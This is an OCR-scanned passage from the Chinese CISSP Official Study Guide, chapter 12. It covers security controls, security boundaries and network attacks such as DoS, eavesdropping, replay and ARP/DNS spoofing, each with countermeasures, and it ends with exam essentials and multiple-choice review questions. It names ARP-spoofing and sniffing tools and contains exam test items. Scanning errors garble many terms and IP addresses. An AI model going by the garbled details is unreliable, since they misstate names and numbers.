配与管理、 同步通信的管理、 标准化封装、 复用 、 连接配置、 连接质量测试、 差错检测 以及特性或
375
CISSP 官方学 习指南(第 7 版)
选项协商(例如， 对压缩的协商)。
PPP 最初被设计用于支持针对身份认证的 CHAP 和 PAP 协 议。 不过， 最新版本的 PPP 也支持
MS-CHAP、 EAP 以及 SPAP 协 议。 此外， PPP 还可以用于支持网际包交换协议。P均和 DECnet 协
议。 PPP 在 盯C 1 661 丈档中被记录为互联网标准。 PPP 替代了 串行线路互联网协议(SLIP)0 SLIP
只 支持半双工通信， 没有提供身份认证， 不存在差错检测能力 ， 并且要求人工建立与关闭链路。
12.1 1 各种安全控制特性
在为网络通信选择或部署安全控制时， 需要根据现实环境、 性能和安全策略来评估许多特性，
接下来我们将详细讨论这些问题。
1 2. 11.1 透明性
顾名思义， 透明性是服务、 安全控制或访 问机制的一种特性， 这种特性确保服务、 安全控制或
访问机制对于用户来说是不可见的。 就安全控制而言， 透明性往往是一种必要的特征 。 安全机制越
透明 ， 用户就越难避开安全机制， 甚至无法察觉到安全机制的存在。 借助于透明性， 某个功能、 服
务或约束存在的痕迹难 以被直接发现， 其对性能的影响也是极小的 。
在某些情况下 ， 例如当管理员在检测、 评估或调整系统的配置时， 透明性可能需要更多地作为
可配置特征而非固定特征。
1 2. 1 1 .2 验证完整性
为 了验证数据传输的完整性， 可 以使用称为散列总数的检验和。 在某条消息或某个分组被发送
至通信路径之前 ， 散列函数会对其执行运算。 散列运算得到的散列总数被添加到消息的末尾， 也就
是消息摘要。 一旦接收到消息， 目 标系统也会对这条消息执行散列运算， 并且将运算得到的结果与
先前的散列总数相比较。 如果两个散列总数匹配， 那么很大程度上可以确信这条消息在传输期间未
被更改或者没有出现说误。 散列总数类似于循环冗余校验(CRC)， 二者都可以作为完整性工具使用。
在大多数安全事务系统 中 ， 散列函数用 于保证通信的完整性。
@ 真实场景
376
校验散列值
校验文件的散列值通常是一个不错的做法。 这个简单的工作能够防止使用破损的文件， 也能够
防止意外接收有害的数据。 某些入侵检测 系 统(IDS)与 系 统完整性验证工具将散列 法作为检查文件经
过一段时间是否被1t}�义的手段。 采用 这种方法时， 需要为驱动器上的每个文件都创建一个散列值，
同 时将所有散列值存储在一个数据库内 ， 随后定期为文件重新计算散列值， 并且对照原有的散列值
校验新 的散列值。 只 要发现散列值有所不 同 ， 就应 当 审查这个文件。
第 1 2 章 安全通信和网络攻击
散列 的 另 一个常见用 法是验证下载的数据。 许多 可信的王联网下载站点为 其下载文件提供了
MD5 和 SHA 散列 总数。 至少可以采用 两种方式来利用 这些散列值。 第 一种方式， 使用 能够 自 动校
验 已下载文件散F惜的下载管理软件。 第 二种方式， 使用 某种散列计算工具(如 md5sum 或 shal sum)，
自 己生成己下载文件的散列值， 随后手动 比较生成的散列值与 下载站点提供的散列值。 这种机制确
保系统最终下载的文件能够与 下 载站点提供的 文件完全 匹配。
记录序列校验与散列总数校验类似， 但是并不校验内容的完整性， 而是校验分组或消息序列的
完整性。 许多通信服务使用记录序列校验来验证消息的任何部分都未丢失以及消息的所有元素都具
有正确的顺序。
1 2.11 .3 传输机制
传输 日 志是一种关注于通信的审计形式。 传输日 志记录 了源端、 目 的端、 时间标记、 标识码、
传输状态、 数据包数量、 消息长短等的相关细节。 这些信息有助于解决故R毒和跟踪未授权通信， 在
系统中 ， 还可以用来提取相应的数据 ， 从而 了 解系统的工作方式。
传输错误校正是面向连接的或面向会话的协议和服务内 置的一种能力。 如果确定某条消息全部
(或部分)出 现损坏、 被更改或丢失， 那么可以请求消息源重新发送整条或部分消息。 在传输差错校
正系统发现通信存在 问题时， 重发控制确定是重发整条消息还是重发部分消息。 重发控制还可以确
定是发送散列总数的多个副本还是 CRC 值的多个副本， 以及确定是使用多条数据路径还是使用多
条通信信道。
1 2.12 安全边界
安全边界是任何两个具有不同安全要求或需求的区域、 子网或环境之间 的交线 。 安全边界存在
于高安全性区域和低安全性区域之间， 例如某个 LAN 和互联网之间 。 识别网络上和现实世界中 的
安全边界十分重要。 一旦确定了安全边界， 就需要部署某些控制和机制， 从而控制跨越这些安全边
界 的信息流。
安全区域之间的分界线可能有很多形式。 例如， 客体可能具有不同的分类， 每种分类都定义了
哪些主体可 以 对哪些客体执行哪些操作 。 分类之间 的 区别 就是安全边界。
安全边界还存在于物理环境和逻辑环境之间。 为了提供逻辑安全性， 必须采用与提供物理安全
性不同的安全机制。 二者都必须存在， 从而提供完整的安全结构， 并且都必须被包含在安全策略中。
然而， 它们之间是有区别的， 在 安全解决方案中 必须作为独立的组件进行评估。
安全边界， 例如保护区域和未保护区域之间的地带， 始终应当进行清楚的定义 。 在安全策略中
规定在哪一点上控制开始或结束， 并且在物理和逻辑环境中确定这一点是非常重要的 。 逻辑安全边
界是电子通信与组织在法律意义上负责的设备或服务的交界点。 大多数情况下， 这些交界的接口 都
是 明确标记的， 井且未授权主体会被告知不能访问。 如 果试 图访问， 则 会受到起诉。
物理环境中 的安全防线常常是逻辑环境中安全防线的反映。 大多数情况下， 组织化法律意义上
负责的范围决定着物理区域中 的安全策略范围。 这可能是办公室的墙壁、 建筑物的墙壁或园区周围
的 围墙。 在受保护的环境中会张贴许多警告标志， 这些警告标志指示未授权的访问是被禁止的， 并
377
378
CISSP 官方学习指南(第 7 版)
且企图进行访问的行 为将被阻止和起诉 。
在将安全策略转换为实际的控制时， 必须分别考虑所有的环境和安全边界。 简单地推导出可用
的安全机制， 这将为特定的环境和情况提供最合理的、 最划算的和最有效的解决方案。 然而， 所有
的安全机制都必须对要保护的客体的价值进行衡量。 如果部署成本高于受保护客体的价值， 那么这
样 的对策是不可取的 。
1 2.13 网络攻击与对策
与 盯 基础设施的其他方面易受攻击非常类似， 通信系统也容易受到攻击。 理解威胁以及可能的
对策对于保护运行环境来说是很重要的部分。 如果可能的话， 那么能够导致对数据、 资源或个人产
生危害的任何行为或环境都必须得到解决和缓解。 需要记住的是， 损害不仅包括破坏或损坏， 还包
括泄漏、 访 问延迟、 拒绝访问 、 伪造、 资源浪费、 资源滥用和损失。 针对通信系统安全性的常见威
胁包括拒绝服务、 偷听、 假冒、 重放和修改。
1 2.13.1 DoS 和 DDoS
拒绝服务攻击是一种资漉消耗型攻击， 以 阻碍受害系统上的合法活动为主要 目标。 拒绝服务攻
击将使 目 标无法响应合法流量。
有两种基本的拒绝服务攻击:
• 利用硬件或软件的漏洞进行攻击。 这种利用软件的弱点、 错误或标准特性导致系统发生挂
起、 冻结、 消耗所有系统资源等情况。 最终的结果是受害计算机无法处理任何合法的任务。
• 通过巨量的垃圾网络流量以泛洪的方式充满受害者的通信管道。 这些攻击有时被称为流量
生成或泛洪攻击。 最终结果是受害计算机无法发送或接收合法的网络通信 。
无论发生何种情况， 受害者都没有能力执行正常的操作(服务)。
DoS 不是单一的攻击， 而是一整类攻击。 一些攻击利用操作系统软件中 的缺陷， 而其他的则把
重点放在安装的应用程序、 服务或协议上。 一些攻击利用具体的协议， 包括互联网协议(IP)、 传输
控制协议(TCP)、 网 际控制消息协议(ICMP)和用 户数据报协议(UDP)。
DoS 攻击通常发生在攻击者和受害者之间。 然而， 它们并不总是那么简单。 多数 DoS 攻击使用
某种形式的中 间系统(通常是不愿意和不知情的参与者)把攻击者隐藏起来不让受害者发现。 例如，
如果攻击者将攻击数据包直接发送给受害者， 受害者将可能发现攻击者是谁。 这虽然增大了难度，
但不是不可能， 通过使用欺骗(更详细的描述在本章其他地方)就能实现。
许多 DoS 攻击开始于破坏或渗透一个或多个中间系统， 然后将中 间系统作为发起点或攻击平
台 。 这些中 间系统通常被称为第二受害者。 攻击者在这些系统中安装远程控制工具， 这通常被称为
僵尸或代理。 然后， 在指定的时间或根据攻击者发起的命令， 对受害者发起 DoS 攻击。 受害者可以
能够发现造成 DoS 攻击的僵尸状态系统， 但可能无法找到实际的攻击者。 通过僵尸系统发起的攻击
称为分布式拒绝服务(DDoS)攻击。 在大量不知情的第二受害者中大量部署僵尸就变成了 僵尸 网络。
下面是针对这些攻击的一些对策和防御措施:
• 添加防火墙、 路由器和入侵检测系统(IDS)来检测 DoS 流量和 自 动阻断端 口 或过滤基于源或
目 的地址的数据包。
第 1 2 章 安全通信和网络攻击
• 与服务提供商保持 良好沟通 以便在 DoS 攻击发生时 请求过滤服务。
• 在外部系统上禁用 echo 回复。
• 在边界系统上禁用广播特性。
• 阻 断伪造数据包进入或离开网络。
• 保持所有系统己安装来 自 供应商的最新安全更新补丁 。
• 考虑使用像 Cloud Flare 的 DDoS 缓解或 阶olexic 这样的商用 DoS 保护/响应服务。 虽然可能
很昂贵， 但它们往往是有效的 。
有关 DoS 和 DDoS 的进一步讨论 ， 可参阅第 1 7 章 " 事件预防和响应。 "
1 2. 1 3.2 偷昕
顾名思义， 偷听是为了复制 目 的而对通信信息进行简单的侦昕。 复制采用的形式是: 将数据记
录到存储设备中 ， 或者将数据记录到尝试动态从通信流中提取出原始内容的提取程序中。 一旦通信
内 容的副本落入攻击者手中 ， 他们就常常会从中提取出很多类型的机密信息， 例如用户名 、 密码、
处理过程、 数据等 。
偷听通常需要对IT基础设施进行物理的接入， 从而将物理的记录设备连接到开放的端口或电缆
接头， 或者在系统中安装软件记录工具。 偷听常常很容易通过网络通信捕获或监控程序实现， 或者
通过协议分析系统(常被称为嗅探器)实现。 由 于使用 的是被动攻击方式， 因此检测偷昕设备和软件
通常较为困难。 如 果偷昕或窃听变成更改通信数据或在其中 添加 数据 ， 就成了 主动攻击 。
⑩ 真实场景
你也能在网络上窃昕
网 络上的窃听是收集通信介质上数据包的行为 。 作为合法的 网 络客户端， 只 能看到 为 系统指定
的通信。 但是， 如果使用 适当的工具(以及得到组织 的投权)， 就能够看到通过网络接 口 的所有数据。
嗅探器， 例如 Wrreshark 和 NetWitness， 以及专用 的偷听工具， 例如 下Sight、 ZedAttack Proxy (ZAP)
和 Cain & AbeL 能够显示在网络上.tA行的具体操作。 某些工具只显示原始网络包， 另 外一些工具则
重新组装原始数据并将它们 实 时显示在屏幕上。 我们鼓励拟使用 一些偷听工具进行实验〈只 能针对被
适当九许的 网 络) ， 从而使你亲身体验从网 络通信 中可以 收集到哪些信息。
维护物理接入的安全性， 从而防止未授权的人员访问你的 IT 基础设施， 这种方法能够对付偷听。
为了保护来自 网络外部的通信或者防范来 自 内部的攻击， 对通信传输使用加密(例如， IPSec 或 SS田
和一次'性身份认证方法( 即一次性填充或令牌设备)将极大地降低偷听的有效性和及时性 。
常见的偷听威胁是维护可靠通信安全性的一个主要动机。 与存储 中 的数据相比， 传输中 的数据
往往更容易被截获。 而且， 通信线路可能位于组织的控制范围之外。 因此， 保证在内部基础设施之
外安全可靠地传输数据极其重要。 某些常用 的网络健康以及通信可靠性评估和管理工具(例如， 嗅探
器)能够用于 实现非法 目的， 所以为了防止滥用 ， 必 须对这些工具进行严格控制和监督。
1 2. 1 3.3 假冒/伪装
假 冒或伪装是指假装成某人或某事， 从而获得对系统的未授权访问 。 这通常意味着认证证书被
379
CISSP 官方学习指南(第 7 版)
窃取或遭受篡改 以满足(即成功地绕过)认证机制。 这不同于欺骗， 欺骗是提 出 了一个虚假的身份但
没有任何证据(如错误地使用 E 地址、 MAC 地址、 电子邮件地址、 系统名称、 域名等)。 假冒往往
可 以通过捕获网络服务会话设置 中 的用户 名和密码加 以实现。
对付假冒 攻击的解决方案包括 : 使用一次性填充和令牌身份认证系统， 使用Kerberc后， 使用加
密 ， 从而增加从网络通信 中提取身份认证凭证的难度。
1 2. 1 3.4 重放攻击
重放攻击是假冒 攻击的分支， 可 以利用通过偷听捕获的网络通信进行攻击。 重放攻击企图通过
对系统重放被捕获的通信来重建通信会话。 可 以使用一次性身份认证机制和序列化会话身份标识来
防范重放攻击。
1 2.13.5 修改攻击
修改攻击能够更改捕获的数据包， 然后将其放回系统中 。 被修改的数据包被设计为能够避开改
良 的身份认证机制和会话排序的限制。 针对修改重放攻击的对策包括数字签名验证与数据包校验与
验证。
380
1 2.13.6 地址解析协议欺骗
地址解析协议(ARP)是 TCP/IP 协议族的一个子协议， 工作在 OSI 模型的网络层(第 3 层)上。 ARP
用 于通过轮询使用系统的 E 地址来发现系统的 MAC 地址 。 ARP 通过广播含有 目 的地E地址的请
求数据包进行运作， 具有这个 E 地址的系统(或其他一些已经具有该地址的 ARP 映射的系统)就会
使用相关联的 MAC 地址进行应答。 被发现的 IP-MAC 映射会被存储在 ARP 缓存中 ， 并且被用于指
示数据包的传输方向 。
提示 :
如果有兴趣了 解滥用 ARP 系 统对通信造成的误导， 那 么 可以考虑使用 能够完成这种功能的攻击
工具进行实验。 某些 出名的、 执行 ARP 欺骗攻击的 工具包括 Ettercap、 Cain & Abel 和 arpspoof. 将
这些工具与 网 络嗅探器结合使用 (以便查看结果)， 你会深入 了 解这种网络攻击形 式。 不过， 和其他
实验一样， 只 能在被适当许可的 网 络上执行这些活动， 否则你的攻击行为可能会带来法律风险。
ARP 映射可能受到欺骗攻击。 欺骗为请求的 E 地址系统提供假的 MAC 地址， 从而将通信重定
向至另一个 目 的地。 ARP 攻击常常是中 间人攻击的一个元素 。 这种攻击涉及在源系统的 ARP 缓存
中 ， 将目的地的 E 地址 冒改为入侵者系统的 MAC 地址。 入侵者查看从源系统接收到的所有数据包
后 ， 才将这些数据包转发至实际预定的目的系统。 对忖 ARP 攻击的手段包括: 为关键系统定义静态
的 ARP 映射， 监控 ARP 缓存中 的 MAC-IP 地址映射， 或者使用 IDS 检查系统通信中 的异常以及
ARP 通信 中 的变化 。
第 1 2 章 安全通信和网络攻击
1 2.13.7 DNS 技毒 、 欺骗和劫持
DNS 投毒和 DNS 欺骗也被称为解析攻击。 当攻击者更改 DNS 系统中域名到 E 地址的映射并
将流量重定向到假冒系统或简单地执行拒绝服务时， DNS 投毒就发生了 。 当攻击者发送一个虚假响
应给请求系统， 并抑制来 自 有效 DNS 服务器的真正响应时， DNS 欺骗就发生了 。 这也是技术上竞
争条件的利用 。 为阻止因投毒和欺骗而引起虚假 DNS 结果的措施包括: 仅允许授权的 DNS 修改、 限
制传输区域和记录所有 DNS 特权活动 。
2008 年 ， 一个相当重大的漏洞被 Dan Karninsky 发现并向全世界公开。 该漏洞存在于本地或缓
存 DNS 服务器从权威身份的根服务器获取特定域信息的方式中 。 通过发送不存在的子域虚假应答
给缓存 DNS 服务器， 攻击者可以劫持整个域解析的详细信息 。 关于解释 DNS 如何工作 ， 以及解释
这个漏洞如何威胁当前 DNS 架构， 可访问 "An llIustrated Guide to也e Kaminsky DNS Vulnerability"，
具体链接为 http://unixwiz.netltechtips/iguide-kaminsky-dns-vuln.html 。
关于 DNS 劫持漏洞， 唯一能解决的办法就是升级 DNS 到域名系统安全扩展 ρNSSEC)。 有关
详细信息， 请访 问 dnssec.net。
1 2.13.8 超链接欺骗
此外， 与 ARP相关联的另一种攻击是超链接欺骗。 这种类似于 DNS 欺骗的攻击用于将通信重
定向至欺诈系统或冒名系统， 或者简单地将通信发送至预定 目 的地之外的任何地方。 超链接欺骗既
可 以来用 DNS 欺骗的形式， 也可以只是简单地在发送给客户端的文档的 町ML代码中修改超链接
URL。 因 为大多数用户并不通过 DNS 验证URL中 的域名 ， 而是认定超链接是合法的并进行单击，
所 以超链接欺骗攻击往往都会成功。
⑩ 真实场景
进行网络钓鱼?
超链接欺骗并不仅限于 DNS 攻击。 事 实上， 任何试图 通过滥用 URL或超链接来误导合法用 户
前往恶意站点的攻击活动都被视为超链接欺骗。 欺骗是对信息进行篡改， 包括篡改 URL 及其可信
目 的地和原始 目 的地之间的关系 。
网络钓鱼是另 一种经常使用超链接欺骗的攻击。 网 络钓鱼意味着诱骗他人上钩， 从而获得信息。
这种攻击可以采用 很多 形式， 包括使用 伪造的 URL.
务必提防电子邮件、 PDF 文件或产品文档 中 的任何 URL 或超链接。 如果希望访问通过这种方
式提供的站点， 那么可以在 Web 浏 览器 中手工4定入地址， 从而使用 自 己 已有的 URL 书签或可信的
技索 引 擎查找该站点。 这些方法可能会给你带来较多 的工作量， 但是却建立了 一种获得良好服务的
安全行为模式。 现实生活中存在太多 的攻击者， 稍有疏忽或懈怠， 那么盲 目 千却到提供的链接和URL
就很容易遭到攻击。
与 网络钓鱼相关的攻击是假 冒 身份， 这种攻击通过假冒他人获得你的个人信息。 假冒身份攻击
常常被用 于获取个人身份细节 并转卖给他人， 而购买者则 会滥用 你 的信用 和名 誉。
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CISSP 官方学 习指南(第 7 版)
对超链接欺骗攻击的防护手段包括防止 DNS 欺骗、 保持系统更新补丁并在使用互联网时采取
同样谨慎的预防措施。
1 2.14 本章小结
远程访问安全管理需要安全系统设计者提出 解决与策略、 工作任务和加密相关问题的硬件、 软
件组合的实现方案， 这包括部署安全通信协议。 本地和远程连接的安全认证是整体安全的一个重要
基本元素。
对于网络、 语音和其他形式的通信而言 ， 保持对通信路径的控制是维护保密性、 完整性和可用
性的关键。 许多攻击都集中于侦昕 、 拦截， 或以其他方式干扰数据从一个位置传输到另一个位置。
幸运的是， 有合理的对策可 以帮 助减少或消除这些威胁 。
隧道或封装， 意味着使用一个协议的消息可以通过另一个协议在网络或通信系统中进行传输。
隧道可 以 结合加密技术 ， 以 安全地发送消息 。 VPN 正是基于加密隧道。
VLAN 是由交换机产生强加的网络分段。 VLAN 用于将网络逻辑分隔成网段而不改变网络的物
理拓扑。 VLAN 用 于通信流量管理。
远程办公或远程连接， 己成为商业计算的一个共同的特点。 当在任何环境中部署远程访问能力
时， 必须考虑、安全性以便为私人网络提供保护， 应对远程访问难题。 远程访问用户应在授予访问权
限前进行严格认证， 可 以使用 RADIDS 或 TACACS 实现认证。 远程访 问服务包括 E 语音(VoIP)、
多 媒体协作和 即 时通信 。
N必r 用来隐藏专用网络的 内 部结构以及让多个内部客户通过少数几个公网 IP 地址访问互联网 。
NAT 通常是边界安全设备的默认功能 ， 如 防火墙、 路由器、 网关和代理。
在 电路交换中， 一条专用 的物理路径将在两个通信方之间建立。 把消息或通信分解成小的分段
(通常是固 定长度的数据包， 这取决于采用 的协议和技术)， 并发送到中间网络， 最终到达 目 的地时，
分组交换就发生了 。 分组交换系统内 有两种类型的通信: 路径和虚电路。 虚 电路是在两个指定节点
之间 ， 创建在分组交换网络上的逻辑路径或电路。 有两种类型的虚电路: 永久虚电路σVC)和交换
虚 电路(SVC)。
WAN 链路或远程连接技术， 可 以分为两个主要类别 : 专线和非专线。 专线连接两个特定的端
点并且只有这两个端点。 非专线在需要数据传输时才进行连接。 非专线可以用 同样的非专线连接任
何远程系统。 W剧 连接技术类型包括 X.25、 帧中继、 ATM、 SMDS、 SDLC、 HDLC 和 出SI。
当选择或部署网络通信的安全控制时， 需要按照所在环境、 能力和安全策略评估诸多特性。 安
全控制应该对用户透明 。 哈希和 CRC 校验可用于验证消息的完整性。 记录序列用来保证传输序列
的完整性。 传输 日 志有助于检测通信滥用 。
虚拟化技术用来在一台主机的 内存中启动和运行一个或多个操作系统。 这个机制允许几乎任意
操作系统在任意硬件上运行， 还允许多个操作系统同时在同一硬件上工作。 虚拟化提供了几个好处，
例如， 能够在需要的情况下启动单个服务器或服务的实例、 实时的可扩展性， 并且能够运行应用程
序所需的操作系统版本。
基于互联网的 电子邮件是不安全的， 除非采取措施以确保它的安全。 为 了 电子邮件的安全， 应
该提供不可否认性、 限制用户访问权限、 确保完整性得到维护、 验证消息来源、 核实交付， 甚至对
敏感内容进行分类。 这些安全措施在实施解决方案之前必须在安全政策中全部声明 。 它们经常以可
第 12 章 安全通信和网络攻击
以接受的使用政策、 访 问控制 、 隐私声明 、 电子邮件管理程序、 备份和保留政策的形式出现。
电子邮件是一种常见的恶意代码传递机制 。 过滤附件、 使用防病毒软件， 并对用户 进行教育是
有效对抗攻击的对策。 垃圾邮件或邮件泛滥是一种形式的拒绝服务攻击， 可 以通过过滤器和 IDS 进
行阻断。 电子邮件可 以使用 S/MIME 、 MOSS、 PEM 和 PGP 来改善安全性 。
通过使用加密保护文件的传输并防止窃听 ， 可 以提高传真和语音的安全性。 有效培训用户是对
抗社会工程学攻击的对策。
安全边界是一个安全区域和另一个安全区域之间的边界划分， 也可以是安全区域和非安全区域
之 间 的边界划分。 两者都必须在安全策略中加 以应对 。
通信系统容易受到许多攻击， 包括分布式拒绝服务(DDoS)、 窃听、 假冒、 重放、 篡改、 欺骗、
ARP 和 DNS 攻击。 幸运的是， 存在有效的对策应对以上这些问题。 PBX 欺骗和滥用 ， 以及盗用 电
话线也是必须解决的 问题。
1 2.15 考试要点
理解围绕远程访问安全管理的问题。 远程访问安全管理需要安全系统设计者连同策略、 工作任
务和密码学等 问题一起 ， 提出硬件和软件组合的解决方案。
熟悉各种可能在 LAN 和 WAN 中用于数据通信的协议和机制。 这些协议和机制包括 SKIP、
SWlPE、 SSL、 SET、 PPP、 SLIP， CHAP、 PAP ， EAP 和 S-RPC， 还包括 VPN、 TLS/SSL 和 VLAN。
了解什么是隧道技术。 隧道技术利用另一个协议封装可以使用某个协议传输的消息。 此处所讲
的 另一个协议常常通过加 密来保护消息 内 容的安全。
理解 VPNo VPN 建立在加密隧道技术的基础上， 能够作为点对点方案提供身份认证和数据保
护 。 常见 VPN 协议包括 PPTP， L2F 、 L2TP 以及 IPSec o
能够解释 NATo NAT 保护专用网络的寻址方案， 准许专用 E 地址的使用 ， 并且使多个 内部客
户端能够利用有限的几个公共 E 地址访问 互联网 。 NAT 得到许多安全边界设备的支持， 这些边界
安全设备包括防火墙、 路由器、 网关和代理。
理解分组交换和电路交换之间 的差异。 在 电路交换中， 通信双方之间会创建一条专用的物理路
径。 发生分组交换时， 消息或通信先被分为若干小段， 然后通过中 间网络发送至 目 的地。 分组交换
系统内存在两种逻辑路径或虚 电路 : 永久虚 电路(PVC)和交换虚电路(SVC)。
理解专线和非专线之间的差异。 专线是一种长期保留 以供指定客户使用 的线路。 专线示例包括
Tl、 T3、 El、 E3 以及线缆调制解调器。 非专线是一种在发生数据传输前需要建立连接的线路。 非专
线能够用于连接使用 同种非专线的任何远程系统。 非专线示例包括标准的调制解调器、 DSL 以及
ISDN。
了解和远程访问安全相关的问题 。 熟悉远程访问、 拨号连接、 屏幕截取、 虚拟应用/桌面和一般
远程办公 的安全关注点。
了解各种 WAN 技术。 了 解大多数 WAN 技术都需要信道服务单元/数据服务单元(CSUIDSl月，
它们也被称为 WAN 交换机。 运营商网络和 WAN连接技术存在多种类型 ， 例如 X.25、 帧中继、 ATM
与 SMDS。 某些 WAN 连接技术需要使用其他专门 的协议来支持各种各样特殊的系统或设备， 其中
三种协议是 SDLC、 HDLC 和 HSSI。
理解 PPP 和 SLl P 之间的差异。 点对点协议σPP)是一种封装协 议， 被设计用于支持在拨号或
383
CISSP 言为学 习指南(第 7 版)
点对点连接上传输 E 通信数据。 PPP 包含众多通信服务， 这些通信服务包括 E 地址的分配与管理、
同步通信 的管理、 标准化封装、 复用 、 链路配置、 链路质量测试、 差错检测 以及特性或选项协商(例
如 ， 对压缩的协商)0 PPP 最初被设计用于支持针对身份认证的 CHAP 和 PAP o 不过， 最新版本的
PPP 也支持 MS-CHAP、 EAP 以及 SPAPo PPP 代替了串行线路网络协议(SLIP)0 SLIP 只 支持半双工
通信 ， 没有提供身份认证， 不存在差错检测能力 ， 并且要求人工建立与关 闭链路。
理解安全控制的常见特征。 安全控制应当对用户透明 。 散列总数和 CRC 校验可以用于验证消
息的完整性。 记录序列用于确保传输的序列完整性。 传输日 志记录能够帮助检测通信的滥用情况。
理解如何实现电子邮件的安全性。 互联网 电子邮件基于 SMTP、 POP3 和 B丛p， 其本身是不安
全的。 电子邮件可以受到保护， 但是必须在安全策略中说明所使用 的保护方法。 电子邮件的安全性
解决方案包括 S/MIME 、 MOSS、 PEM 或 PGP 的使用 。
了解如何实现传真的安全性。 传真的安全性主要基于使用加密的传输或通信线路来保护通过传
真发送的 内容， 主要 目 标是防止截获。 活动 日志和异常报告能用于检测传真中表现为攻击征兆的异
常活动 。
了解与 PBX 系统相关联的威胁以及针对 PBX 伪造的对策。 针对 PBX 伪造和滥用 的对策与许
多保护典型计算机网络的预防措施相同 ， 包括逻辑或技术性控制、 行政管理性控制 以及物理性控制。
理解与 Vol P 相关的安全问题。 协IP 的风险包括呼叫者 D 欺骗、 语音钓鱼、 SPIT、 呼叫管理
软件/硬件攻击 、 电话硬件攻击 、 DoS、 MitM、 欺骗和交换机跳跃等。
识别什么是飞客。 飞客行为是一种针对电话系统的特定攻击类型。 飞客使用各种技术回避电话
系统， 从而获得免费的长途呼叫、 更改 电话服务的功能、 窃取特殊的服务甚至导致服务中断。 常用
的 飞客工具包括黑盒、 红盒、 蓝盒和 自盒。
理解语音通信的安全性。 语音通信系统容易受到很多攻击， 特别是当语音通信成为网络服务的
重要部分时。 使用加密通信可以获得机密性。 为 了防止受到拦截、 偷听、 分机窃听和其他形式的利
用 ， 必须部署相应的对策。 熟悉各种语言通信类型 ， 例如 POTS 、 PSTN、 PBX和VoIP 。
能够解释什么是社会工程学。 社会工程学是不认识的人获得组织内 部某个人信任的一种方式。
擅长社会工程学的人可 以使员工相信他们是上层管理人员、 技术支持人员或服务台人员等。 受害者
常常会被怂恿在系统中修改他们的用户 账户 ， 例如重新设置密码。 对付这种类型攻击的主要对策是
对用户进行培训11 。
解释安全边界的概念。 安全边界可以是受保护区域之间的分界， 也可以是受保护区域和非受保
护 区域之间 的分界。 二者都必须在安全策略中加 以说明 。
理解与通信安全性相关联的各种攻击和对策。 通信系统容易受到很多攻击， 包括拒绝服务攻击
(DDoS)、 偷听、 假冒、 重放、 修改、 欺骗以及 ARP 和 DNS 攻击。 要能够列出每种攻击的有效对策。
12.16 书 面实验室
384
1 . 阐 述 IPSec 的传输模式和隧道模式的不同 。
2. 阐 述 NAT 的好处。
3 电路交换和分组交换的主要区别是什么 ?
4. 关于 电子邮件有哪些安全问题， 有哪些安全对策可 以进行应对?
第 1 2 章 安全通信和网络攻击
1 2.17 复习题
1. 是一种数据链路层连接机制 ， 使用 分组交换技术在通信方之间建立虚 电路。
A. ISDN
B. 帧中继
C. SMDS
D. ATM
2 隧道连接可以 在除 了 以 下哪一项之上进行建立 ?
A. WAN 链路
B. 局域网路径
c. 拨号连接
D. 孤立系统
3. 是一种标准算法， 用 于提供点对点 TCP/IP 流量加密?
A. UDP
B. IDEA
C. IPSec
D. SDLC
4. 以下哪个 IP 地址不是 盯C 1918 中 定义 的私有网络地址?
A. 1 0.0.0. 18
B. 1 69.254. 1.11 9
巳 1 72.3 1 .8.204
D. 1 92. 1 68.6.43
5. 以 下哪一个不能在 VPN 上进行连接 ?
A 两个远程互联局域网
B. 两个在同一局域网 内 的系 统
C 一个连接到 互联网 的系统和一个连接到互联网 的局域网
D. 两个无中介网络连接的系统
6. 如果网络使用 NAT 代理 ， 需要什么才能允许外部客户 端通过 内 部系统发起连接会话?
A. IPSec 隧道
B. 静态 NAT
C. 静态私有 IP 地址
D 反向 域名 解析
7. 下列哪种 VPN 协议不提供本地数据加密 ? (选择所有可能选项)
A. L2F
B. L2TP
C. IPSec
D. PPTP
8 以下哪个 OSI 层提供 IPSec 协议功能 ?
A. 数据链路层
385
386
CISSP 官方学习指南(第 7 版)
B. 传输层
c. 会话层
D. 网络层
9. 以下|哪一项不是 盯C 1918 中定义的不能在 互联网上进行路 由 的私有 IP 地址段?
A. 1 69. 1 72.0.0� 1 69. 191 .255.255
B. 1 92. 1 68.0.0�192. 1 68.255.255
巳 1 O.O.O.O� 1 0.255.255.255
D. 1 72. 1 6.0.0� 1 72.3 1 .255.255
1 0. 以下哪一个不是 NAT 的好处?
A. 隐藏 内 部 IP 地址
B. 大量的 内 部客户 端可共享少数公共的互联网地址
C 在 内 部网络中使用 RFC 1918 中定义的私有地址
D 过滤网络流量 以预防蛮力攻击
11. 安全控制 的一个重要好处是可以运行在用 户 不知不觉的情况下 ， 这个特性称为?
A. 隐形
B. 透 明
C. 导流
D. 躲在平原的视线
1 2 为互联网传送邮件设计安全系统时 ， 以下哪一项是最不重要的 ?
A. 不可否认性
B. 可用性
C. 信息完整性
D. 访问限制
1 3 关于 电子邮件保留策略， 下列哪一项是通常不是必须与用户 讨论的元素 ?
A. 隐私
B. 审计审查
c. 保持器长度
D. 备份方法
1 4. 邮件本身被当成攻击机制 ， 这种攻击称为?
A 伪装
B. 邮件炸弹
c. 欺骗
D. smurf攻击
15. 为什么垃圾邮件难以阻止?
A. 阻断入站信息的 过滤器通常没有那么有效
B. 源地址通常都进行 了 欺骗
C. 攻击成本很低
D. 垃圾邮件可导致拒绝服务攻击
1 6. 下 列哪一种类型的 连接可 以被描述为一条逻辑 电路 ， 总是存在并等待客户 发送数据?
A. ISDN
B. PVC
C. VPN
D. SVC
第 12 章 安全通信和网络攻击
1 7. 除了维护 、 更新系统和进行物理访问控制 ， 下面哪一项是应对 PBX 欺骗和滥用 的最有效反
制措施?
A. 加 密通信
B. 改变默认密码
C. 使用传输日志
D. 录音和归档所有的会话
1 8. 以 下哪个攻击可以用来绕过即使是最好的物理和逻辑安全机制 来访问系统?
A. 蛮力攻击
B. 拒绝服务
C. 社会工程学
D. 端 口 扫 描
1 9. 以下哪-项不是拒绝服务攻击?
A. 利用程序的一个漏洞让它消耗 1 00%的 CPU 计算能力
B. 向 一个系统发送恶意构成的数据包 ， 导致它死机
c. 向某个己知 的用户账户 发起蛮力攻击
D. 向 某个地址发送成千上万封电子邮件
20. 下列哪个验证协议不提供加密或登录凭据保护 ?
A. PAP
B. CHAP
C. SSL
D. RADIUS
387
第 13 z=二
写亘
管理身份与认证
本章中覆盖的 CISSP 考试大纲包含 :
5 身份与访问 管理
• A 物理控制与 资产 的逻辑访问
A. l 信息
A.2 系 统
A.3 设备
A.4 设施
• B. 管理人员和设备的身份与认证
